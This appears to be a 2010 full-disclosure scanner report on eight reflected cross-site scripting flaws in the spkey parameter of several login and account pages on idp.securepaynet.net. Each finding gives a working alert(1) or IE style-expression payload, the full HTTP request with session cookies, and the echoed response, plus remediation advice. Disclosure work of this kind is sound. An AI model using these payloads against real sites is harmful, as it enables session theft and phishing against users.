Current Research | Full Disclosure | As of March 14, 2011
Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Recon and Analysis by Hoyt LLC - Cross Site Scripting Report for GoDaddy
Confirmed Cross Site Scripting in the SecurePay Site
Report generated by Hoyt LLC Research
at Sun Oct 17 08:23:08 CDT 2010.
Cross Site Scripting Reports | Hoyt LLC Research
1. Cross-site scripting (reflected)
1.1. https://idp.securepaynet.net/login.aspx [spkey parameter]
1.2. https://idp.securepaynet.net/login.aspx [spkey parameter]
1.3. https://idp.securepaynet.net/login.aspx [spkey parameter]
1.4. https://idp.securepaynet.net/login.aspx [spkey parameter]
1.5. https://idp.securepaynet.net/retrieveaccount.aspx [spkey parameter]
1.6. https://idp.securepaynet.net/retrieveaccount.aspx [spkey parameter]
1.7. https://idp.securepaynet.net/shopper_new.aspx [spkey parameter]
1.8. https://idp.securepaynet.net/shopper_new.aspx [spkey parameter]
1. Cross-site scripting (reflected)
There are 8 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. https://idp.securepaynet.net/login.aspx [spkey parameter]
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
https://idp.securepaynet.net |
| Path: |
/login.aspx |
Issue detail
The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8e1b"style%3d"x%3aexpression(alert(1))"6727b9787235d0654 was submitted in the spkey parameter. This input was echoed as d8e1b"style="x:expression(alert(1))"6727b9787235d0654 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d8e1b"style%3d"x%3aexpression(alert(1))"6727b9787235d0654&signalnonorig=https%3A%2F%2Fmya.securepaynet.net%2Flogin_redirect.aspx&validate=1&login_focus=false&pass_focus=true&loginname=34359735&password=DO_NOT_STORE_PASSWORDS_IN_URL&Login.x=0&Login.y=0 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Cookie: currency459469=potableSourceStr=USD; currencypopin459469=cdisplaypopin=false; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; adc459469=US; traffic=; pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; pagecount=2; actioncount=; app_pathway=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1
Host: idp.securepaynet.net
Connection: Keep-Alive
Cache-Control: no-cache
Referer: http://www.securepaynet.net/hosting/web-hosting.aspx?ci=1782&prog_id=459469
Accept-Language: en-US
|
Response (redirected)
HTTP/1.1 200 OK
Date: Sun, 17 Oct 2010 02:18:35 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=1rezi145mflduhaev40pcw45; path=/; HttpOnly
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 79090
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
<form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d8e1b"style="x:expression(alert(1))"6727b9787235d0654" onSubmit="return pchj_login_action(this);">
...[SNIP]...
|
1.2. https://idp.securepaynet.net/login.aspx [spkey parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
https://idp.securepaynet.net |
| Path: |
/login.aspx |
Issue detail
The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0b9f"style%3d"x%3aexpression(alert(1))"33c61d969f1 was submitted in the spkey parameter. This input was echoed as a0b9f"style="x:expression(alert(1))"33c61d969f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146a0b9f"style%3d"x%3aexpression(alert(1))"33c61d969f1 HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
|
Response (redirected)
HTTP/1.1 200 OK
Connection: close
Date: Sun, 17 Oct 2010 02:19:22 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 82799
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
<form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146a0b9f"style="x:expression(alert(1))"33c61d969f1" onSubmit="return pchj_login_action(this);">
...[SNIP]...
|
1.3. https://idp.securepaynet.net/login.aspx [spkey parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
https://idp.securepaynet.net |
| Path: |
/login.aspx |
Issue detail
The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 844e1"%3balert(1)//e1b0ddd47ca was submitted in the spkey parameter. This input was echoed as 844e1";alert(1)//e1b0ddd47ca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146844e1"%3balert(1)//e1b0ddd47ca HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
|
Response (redirected)
HTTP/1.1 200 OK
Connection: close
Date: Sun, 17 Oct 2010 02:19:36 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 82641
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
r pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146844e1";alert(1)//e1b0ddd47ca"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459469";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;
...[SNIP]...
|
1.4. https://idp.securepaynet.net/login.aspx [spkey parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
https://idp.securepaynet.net |
| Path: |
/login.aspx |
Issue detail
The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c21c4"%3balert(1)//5ee487294203ba0ce was submitted in the spkey parameter. This input was echoed as c21c4";alert(1)//5ee487294203ba0ce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146c21c4"%3balert(1)//5ee487294203ba0ce&signalnonorig=https%3A%2F%2Fmya.securepaynet.net%2Flogin_redirect.aspx&validate=1&login_focus=false&pass_focus=true&loginname=34359735&password=DO_NOT_STORE_PASSWORDS_IN_URL&Login.x=0&Login.y=0 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Cookie: currency459469=potableSourceStr=USD; currencypopin459469=cdisplaypopin=false; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; adc459469=US; traffic=; pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; pagecount=2; actioncount=; app_pathway=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1
Host: idp.securepaynet.net
Connection: Keep-Alive
Cache-Control: no-cache
Referer: http://www.securepaynet.net/hosting/web-hosting.aspx?ci=1782&prog_id=459469
Accept-Language: en-US
|
Response (redirected)
HTTP/1.1 200 OK
Date: Sun, 17 Oct 2010 02:18:44 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=c0gedv45mgux0u45ukthkf55; path=/; HttpOnly
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 78932
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
r pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146c21c4";alert(1)//5ee487294203ba0ce"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459469";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;
...[SNIP]...
|
1.5. https://idp.securepaynet.net/retrieveaccount.aspx [spkey parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
https://idp.securepaynet.net |
| Path: |
/retrieveaccount.aspx |
Issue detail
The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d2c34"%3balert(1)//3db19d83c1c was submitted in the spkey parameter. This input was echoed as d2c34";alert(1)//3db19d83c1c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB146d2c34"%3balert(1)//3db19d83c1c HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
|
Response
HTTP/1.1 200 OK
Connection: close
Date: Sun, 17 Oct 2010 02:19:37 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 93573
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script src="https:/
...[SNIP]...
r pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d2c34";alert(1)//3db19d83c1c"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459469";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;
...[SNIP]...
|
1.6. https://idp.securepaynet.net/retrieveaccount.aspx [spkey parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
https://idp.securepaynet.net |
| Path: |
/retrieveaccount.aspx |
Issue detail
The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0f03"style%3d"x%3aexpression(alert(1))"9f56f41eb39 was submitted in the spkey parameter. This input was echoed as f0f03"style="x:expression(alert(1))"9f56f41eb39 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB146f0f03"style%3d"x%3aexpression(alert(1))"9f56f41eb39 HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
|
Response
HTTP/1.1 200 OK
Connection: close
Date: Sun, 17 Oct 2010 02:19:27 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 93731
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><script src="https:/
...[SNIP]...
<form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146f0f03"style="x:expression(alert(1))"9f56f41eb39" onSubmit="return pchj_login_action(this);">
...[SNIP]...
|
1.7. https://idp.securepaynet.net/shopper_new.aspx [spkey parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
https://idp.securepaynet.net |
| Path: |
/shopper_new.aspx |
Issue detail
The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d5fc2"%3balert(1)//182ff889613 was submitted in the spkey parameter. This input was echoed as d5fc2";alert(1)//182ff889613 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146d5fc2"%3balert(1)//182ff889613 HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
|
Response (redirected)
HTTP/1.1 200 OK
Connection: close
Date: Sun, 17 Oct 2010 02:19:46 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 82643
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
r pcj_url_img="https://img5.wsimg.com/";
var pcj_url_mya="https://mya.securepaynet.net/";
var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d5fc2";alert(1)//182ff889613"
var pcj_ssoTargetKey = "target";
var pcj_isCart = false;
var pcj_cname = "ShopperId459469";
var pcj_cdomain = ".securepaynet.net";
var pcj_callov = false; var pcj_call = true;
var pcj_isMgr = false;
...[SNIP]...
|
1.8. https://idp.securepaynet.net/shopper_new.aspx [spkey parameter]
previous
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
https://idp.securepaynet.net |
| Path: |
/shopper_new.aspx |
Issue detail
The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5794"style%3d"x%3aexpression(alert(1))"144e23ad472 was submitted in the spkey parameter. This input was echoed as d5794"style="x:expression(alert(1))"144e23ad472 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146d5794"style%3d"x%3aexpression(alert(1))"144e23ad472 HTTP/1.1
Host: idp.securepaynet.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
|
Response (redirected)
HTTP/1.1 200 OK
Connection: close
Date: Sun, 17 Oct 2010 02:19:32 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=; domain=securepaynet.net; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 82801
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>My Account - An Error Occurred</title>
<l
...[SNIP]...
<form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d5794"style="x:expression(alert(1))"144e23ad472" onSubmit="return pchj_login_action(this);">
...[SNIP]...
|
Report generated by Hoyt LLC Research
at Sun Oct 17 08:23:08 CDT 2010.